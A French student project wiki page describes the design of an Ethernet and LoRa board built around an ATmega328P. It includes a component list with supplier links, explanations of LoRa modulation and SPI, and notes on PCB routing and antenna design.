[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Ethernet Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. Les comportements d'enc28j60.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:enc28j60.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY. Les fonctions dans la librairie d'enc28j60 qui permettent de réaliser toutes ces l'écriture et la lecture sont.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
